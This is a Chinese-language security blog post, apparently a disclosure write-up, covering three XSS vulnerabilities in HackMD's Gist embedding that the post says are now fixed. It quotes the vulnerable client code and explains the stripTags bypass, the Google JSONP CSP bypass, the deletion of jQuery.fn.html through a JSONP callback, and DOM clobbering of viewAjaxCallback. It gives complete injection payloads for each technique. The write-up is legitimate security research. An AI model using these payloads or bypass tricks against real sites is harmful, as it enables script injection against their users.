HackMD XSS, Again

發表於
分類於 security

這次又找到了 HackMD XSS,主要是和 Gist 方面沒處理好導致的。

至於為什麼是呢? 一方面是我去年有找到兩個 HackMD XSS,另外是 Gist 的 XSS 在更早以前也出現過了,不過在多個版本更新之後又出現了 XSS。

不過這次最特別的是我在 HackMD 團隊修復後還是有找到方法 bypass 它的 filter,在一樣的地方再拿一個 XSS。後來回顧時還發現到了一個先前沒找到的 XSS,所以這篇文章一共有三個 HackMD XSS。

最初的 XSS

觸發點是這個地方:

e.find("code[data-gist-id]").filter(n).each((function(e, t) {
	if (0 === I(t).children().length) {
		var n = t.getAttribute("data-gist-id");
		t.setAttribute("data-gist-id", h()(n).stripTags().s);
		var r = t.getAttribute("data-gist-file");
		r && t.setAttribute("data-gist-file", h()(r).stripTags().s);
		var i = t.getAttribute("data-gist-line");
		i && t.setAttribute("data-gist-line", h()(i).stripTags().s);
		var a = t.getAttribute("data-gist-highlight-line");
		a && t.setAttribute("data-gist-highlight-line", h()(a).stripTags().s);
		var o = t.getAttribute("data-gist-show-loading");
		o && t.setAttribute("data-gist-show-loading", h()(o).stripTags().s),
		I(t).gist((function() {
			setTimeout(window.viewAjaxCallback, 200)
		}
		))
	}
}
))

其中的 I 是 jQuery,所以可以找 $.fn.gist 的 code 來看:

a.fn.gist = function(c) {
	return this.each(function() {
		var e, f, g, h, i, j, k, l, m, n, d = a(this), o = {};
		return d.css("display", "block"),
		e = d.data("gist-id") || "",
		g = d.data("gist-file"),
		k = d.data("gist-hide-footer") === !0,
		l = d.data("gist-hide-line-numbers") === !0,
		h = d.data("gist-line"),
		j = d.data("gist-highlight-line"),
		n = d.data("gist-show-spinner") === !0,
		m = n ? !1 : void 0 !== d.data("gist-show-loading") ? d.data("gist-show-loading") : !0,
		g && (o.file = g),
		e ? (f = "https://gist.github.com/" + e + ".json",
		i = "Loading gist " + f + (o.file ? ", file: " + o.file : "") + "...",
		m && d.html(i),
		n && d.html('<img style="display:block;margin-left:auto;margin-right:auto"  alt="' + i + '" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif">'),
		void a.ajax({
			url: f,
			data: o,
			dataType: "jsonp",
			timeout: 2e4,
			success: function(c) {
				var e, g, i, m, n;
				c && c.div ? (c.stylesheet && (0 === c.stylesheet.indexOf("<link") ? c.stylesheet = c.stylesheet.replace(/\\/g, "").match(/href=\"([^\s]*)\"/)[1] : 0 !== c.stylesheet.indexOf("http") && (0 !== c.stylesheet.indexOf("/") && (c.stylesheet = "/" + c.stylesheet),
				c.stylesheet = "https://gist.github.com" + c.stylesheet)),
				c.stylesheet && 0 === a('link[href="' + c.stylesheet + '"]').length && (e = document.createElement("link"),
				g = document.getElementsByTagName("head")[0],
				e.type = "text/css",
				e.rel = "stylesheet",
				e.href = c.stylesheet,
				g.insertBefore(e, g.firstChild)),
				n = a(c.div),
				n.removeAttr("id"),
				d.html("").append(n),
				j && (m = b(j),
				n.find("td.line-data").css({
					width: "100%"
				}),
				n.find(".js-file-line").each(function(b) {
					-1 !== a.inArray(b + 1, m) && a(this).css({
						"background-color": "rgb(255, 255, 204)"
					})
				})),
				h && (i = b(h),
				n.find(".js-file-line").each(function(b) {
					-1 === a.inArray(b + 1, i) && a(this).parent().remove()
				})),
				k && (n.find(".gist-meta").remove(),
				n.find(".gist-data").css("border-bottom", "0px"),
				n.find(".gist-file").css("border-bottom", "1px solid #ddd")),
				l && n.find(".js-line-number").remove()) : d.html("Failed loading gist " + f)
			},
			error: function(a, b) {
				d.html("Failed loading gist " + f + ": " + b)
			},
			complete: function() {
				"function" == typeof c && c()
			}
		})) : !1
	})
}

顯然,裡面有各種字串拼接 html 的操作,所以應該可以有 XSS。然而 data-gist-id 在前面會被 stripTags 過濾,所以要看看它是怎麼做的:

stripTags: function() {
	if (!this.s)
		return new this.constructor(this.s);
	var e = this.s
		, t = arguments.length > 0 ? arguments : [""];
	function n(t) {
		var r = RegExp("</?" + t + "[^<>]*>", "gi");
		e = e.replace(r, "")
	}
	return m(t, n),
	new this.constructor(e)
},

這邊 t 部分因為呼叫時沒有給參數,所以會是預設的那個 [""],因此它相當於 e.replace(/<\/?[^<>]*>/gi, ""),所以 <<x>script> 就能繞過了,之後就想辦法讓它觸發 error callback 的 d.html("Failed loading gist " + f + ": " + b) 就行了。

因此全部湊起來再結合 Google jsonp CSP bypass 就能得到:

<code data-gist-id='PEKO<<x>script src="https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(document.domain)//"></<x>script>MIKO'></code>

修正後再一次 XSS

修過之後我看了一下它的改動,只有把 stripTags 的部分修正了一下而已:

stripTags: function() {
	if (!this.s)
		return new this.constructor(this.s);
	var e = this.s
		, t = arguments.length > 0 ? arguments : [""];
	function n(t) {
		var r = RegExp("</?" + t + "[^<>]*>", "gi");
		(e = e.replace(r, "")).match(r) && n(t)
	}
	return m(t, n),
	new this.constructor(e)
},

基本上是 replace 一樣的東西,但是這次還會 recursive 的把 html tag 移除掉,所以 <<x>script> 這種繞法是沒用的。不過由於它有 match >,所以 <script 這種沒閉合的 tag 是不會被移除的。

在不能用 > 的情況下從 cheat sheet 上查可知有 <svg onload=alert()// 之類的 payload,不過這邊一個是因為 CSP 所以不能用,另一個是它 html 注入的地方是使用 jQuery $.fn.html 去做的,裡面會 assign html 給 innerHTML。而瀏覽器在 assign html 給 innerHTML 時我發現如果只有 < 存在而沒有 > 的話,< 之後的所有 payload 都會整個消失不見,所以這樣是沒辦法的。

我這邊的想法是換一個注入點,就是 img 的那個地方:

n && d.html('<img style="display:block;margin-left:auto;margin-right:auto"  alt="' + i + '" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif">'),

前面可以很簡單的把 img 結束掉,後面又有 > 的存在,所以只有 < 的話可以用 iframe srcdoc 去搞事。不過這邊有個困難點是 srcdoc 裡面還是要 bypass CSP,因此它一樣要用 Google jsonp CSP bypass,但同時它又有個呼叫 Gist 的 ajax,無論是 success 還是 error 都會呼叫 d.html(...),iframe 還在載入中的 Google jsonp 覆蓋過去,所以沒辦法 XSS。

這邊我的想法是能不能讓它憑空生一個 error,讓它不會執行到 d.html(...),這樣才有足夠的時間能載入 jsonp。而這邊我的答案就是在 Gist callback 利用我之前在 HITCON CTF 2022 - Secure Paste 用的那個 jsonp delete 技巧 (實際上真正的來源應該是這個),用 delete[jQuery.fn][0].html 就能把 $.fn.html 刪掉,這樣就能讓它產生 error 了,所以就有足夠的時間讓 Google jsonp 載入得到 XSS。

最後的 payload 就是:

<code data-gist-show-spinner="true" data-gist-id='maple3142/84ce16496ac08379f9df973c0566822c.json?callback=[delete[jQuery.fn][0].html]#"><iframe srcdoc="&amp;lt&semi;script src&amp;equals&semi;&amp;quot&semi;https&amp;colon&semi;&amp;sol&semi;&amp;sol&semi;www&amp;period&semi;google&amp;period&semi;com&amp;sol&semi;complete&amp;sol&semi;search&amp;quest&semi;client&amp;equals&semi;chrome&amp;amp&semi;q&amp;equals&semi;123&amp;amp&semi;jsonp&amp;equals&semi;alert&amp;lpar&semi;document&amp;period&semi;domain&amp;rpar&semi;&amp;sol&semi;&amp;sol&semi;&amp;quot&semi;MIKO&amp;apos&semi;&amp;gt&semi;&amp;lt&semi;&amp;sol&semi;script&amp;gt&semi;"'></code>

XSS, Again

最後有個我原本沒注意到的點,就是 setTimeout(window.viewAjaxCallback, 200) 這個地方。原本 window.viewAjaxCallback 是有個函數存在的,但我們從上面知道可以用 jsonp callback 去 delete 某個東西,所以用 delete[window][0].viewAjaxCallback 就能把它刪掉。

接下來因為 setTimeout 的第一個參數其實也能接受 string,所以有機會用 DOM clobbering 去蓋掉 window.viewAjaxCallback 的值達成 XSS:

<a id="viewAjaxCallback" href="cid:alert()"></a>
<code data-gist-id='maple3142/84ce16496ac08379f9df973c0566822c.json?callback=[delete[window][0].viewAjaxCallback]#'></code>

不過這個部分和上一個 XSS 一起在 1.56.0 版本修好了,所以也沒有另外回報。